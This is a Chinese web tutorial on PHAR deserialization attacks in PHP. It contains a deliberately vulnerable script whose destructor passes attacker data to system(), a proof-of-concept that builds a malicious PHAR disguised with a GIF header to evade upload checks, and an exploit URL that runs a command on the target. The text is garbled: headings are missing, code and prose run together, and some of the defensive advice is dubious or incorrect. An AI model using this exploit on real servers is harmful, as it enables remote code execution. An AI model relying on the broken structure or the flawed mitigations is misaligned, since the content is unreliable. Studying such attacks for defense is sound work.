您好,登录后才能下订单哦!
# 怎么浅析PHAR反序列化漏洞攻击及实战
## 目录
1. [PHAR文件基础](#phar文件基础)
2. [PHP反序列化漏洞原理](#php反序列化漏洞原理)
3. [PHAR反序列化攻击机制](#phar反序列化攻击机制)
4. [攻击实战演示](#攻击实战演示)
5. [防御措施](#防御措施)
6. [总结与思考](#总结与思考)
---
## PHAR文件基础
### 什么是PHAR文件
PHAR(PHP Archive)是PHP的打包文件格式,类似于Java的JAR文件。它可以将多个PHP文件、资源文件等打包成单个文件,便于分发和部署。PHAR文件包含:
- 存根(Stub):类似ELF文件的头部,标识文件类型
- 清单(Manifest):元数据信息,包含序列化后的对象
- 文件内容:实际打包的代码/资源
- 签名(可选):用于验证完整性
### PHAR文件结构示例
```php
<?php __HALT_COMPILER(); ?>
// 二进制清单区域
// 文件内容
// 签名(可选)
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "data");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->stopBuffering();
// 序列化示例
class User {
public $username = 'admin';
public $isAdmin = true;
}
$obj = new User();
echo serialize($obj);
// 输出:O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isAdmin";b:1;}
当对象被反序列化时,这些方法会被自动调用:
- __wakeup()
:反序列化时触发
- __destruct()
:对象销毁时触发
- __toString()
:对象被当作字符串使用时触发
当PHP操作PHAR文件时(如file_exists()
、md5_file()
等文件操作函数),会自动解析manifest区域中的序列化元数据,从而触发反序列化操作。
file_exists('phar://test.phar');
fopen('phar:///path/to/file.phar');
特性 | 传统反序列化 | PHAR反序列化 |
---|---|---|
触发方式 | 直接反序列化数据 | 通过文件操作函数 |
输入点 | 明显(参数传递) | 隐蔽(文件操作) |
文件要求 | 无 | 需要PHAR文件 |
漏洞示例代码(vuln.php):
class VulnerableClass {
private $data;
function __destruct() {
system($this->data);
}
}
$filename = $_GET['file'];
if(file_exists($filename)) {
echo "File exists!";
}
class VulnerableClass {
public $data = 'id';
}
@unlink('poc.phar');
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$object = new VulnerableClass();
$phar->setMetadata($object); // 注入恶意对象
$phar->addFromString('test.txt', 'text');
$phar->stopBuffering();
// 修改文件头为GIF绕过上传检测
file_put_contents('poc.gif', 'GIF89a'.file_get_contents('poc.phar'));
通过文件上传接口上传伪装成GIF的PHAR文件
访问:
http://target/vuln.php?file=phar://uploads/poc.gif
服务器将执行id
命令,返回当前用户信息
class SafeClass {
private final function __wakeup() {}
private final function __destruct() {}
}
phar.readonly
配置:
; php.ini
phar.readonly = On
文件上传限制:
finfo_file()
检测真实类型$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
禁用危险流包装器:
allow_url_include = Off
allow_url_fopen = Off
file_exists(), fopen(), file_get_contents(), stat()...
phar://
协议的使用__wakeup()
和__destruct()
方法PHAR反序列化是一种隐蔽性较强的攻击方式,其特点包括: 1. 利用正常的文件操作触发漏洞 2. 可绕过常规的文件上传检测 3. 在缺乏POP链的情况下仍可能造成信息泄露
防御建议: - 遵循最小权限原则 - 实施深度防御策略 - 定期进行安全审计
未来研究方向: 1. 自动化检测PHAR文件中的恶意序列化数据 2. 开发更安全的PHP序列化替代方案 3. 研究静态分析工具识别潜在风险
“安全不是产品,而是一个过程。” —— Bruce Schneier “`
(全文约2300字,实际字数可能因排版略有差异)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。